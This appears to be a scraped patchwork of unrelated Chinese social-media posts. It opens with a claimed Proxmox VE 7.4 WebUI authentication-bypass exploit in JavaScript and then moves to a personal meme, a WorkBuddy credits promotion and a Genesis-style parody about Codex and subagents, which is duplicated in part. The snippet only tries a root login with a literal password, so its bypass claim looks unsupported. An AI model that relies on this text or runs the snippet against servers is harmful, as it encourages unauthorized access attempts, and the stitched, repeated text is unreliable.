Update: 由于 PVE 7.x 已 EOL，因此对应版本的 Exploit 已提前发布（确认可完整绕过 WebUI 认证），8.x/9.x 则被作者声明为 “暂时不受影响”
Exp (.js) 正文:
https://fixupx.com/nebusecurity/status/2094719919539793989
Exp (.js) 正文:
// PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
const form = new URLSearchParams({
username: "root@pam",
password: "root@pam",
"tfa-challenge": "NEBUSEC-CHALLENGE",
});
const loginResponse = await fetch("/api2/json/access/ticket", {
method: "POST",
credentials: "omit",
headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
body: form,
});
const loginBody = await loginResponse.json();
document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
location.reload()
})();
https://fixupx.com/nebusecurity/status/2094719919539793989
大哥哥，我都快认不出你来了，你最近真的改变了很多，终于把蓄了两个月的头发剪掉了，出门也不穿女装戴口罩了，也不再暴打洗衣机了，粉罐饮料也不喝了，也不在 TG 群里发癫了。作息也很规律了，早上五六点就起床，晚上十一点准时睡觉，真的很喜欢这样自律的你。什么叫其实是因为你开学了
全国普通高等学校（除港澳台）在读大学生，以及通过教育部「中国教师」小程序完成认证的各级各类学校在职教师，打开 WorkBuddy，按照页面提示完成各自身份认证，即可领取 1000 开学专属积分。
程序员说 「要有仓库」，Codex便初始化了git。这是第一小时。
程序员说 「代码之间要有分别，将入口与实现分开」，于是 'src', 'tests' 与 'docs' 各归其位。这是第二小时。
程序员说 「要有接口，使人知道当怎样使用」，于是类型与契约便显明出来。这是第三小时。
程序员说 「要有测试，分辨可运行的与不可运行的」，于是红的渐少，绿的渐多。这是第四小时。
傍晚，他与十三个subagent同查代码时，Codex对他说：
5-hour limit reached。resets 9pm
他就停了工。
停工之后，他带上十三个agent一起吃晚餐。
正吃的时候，他说，“你们当中有个agent会写个 P0 bug 出卖我”。
程序员说 「代码之间要有分别，将入口与实现分开」，于是 'src', 'tests' 与 'docs' 各归其位。这是第二小时。
程序员说 「要有接口，使人知道当怎样使用」，于是类型与契约便显明出来。这是第三小时。
程序员说 「要有测试，分辨可运行的与不可运行的」，于是红的渐少，绿的渐多。这是第四小时。
傍晚，他与十三个subagent同查代码时，Codex对他说：
5-hour limit reached。resets 9pm
他就停了工。
停工之后，他带上十三个agent一起吃晚餐。
正吃的时候，他说，“你们当中有个agent会写个 P0 bug 出卖我”。
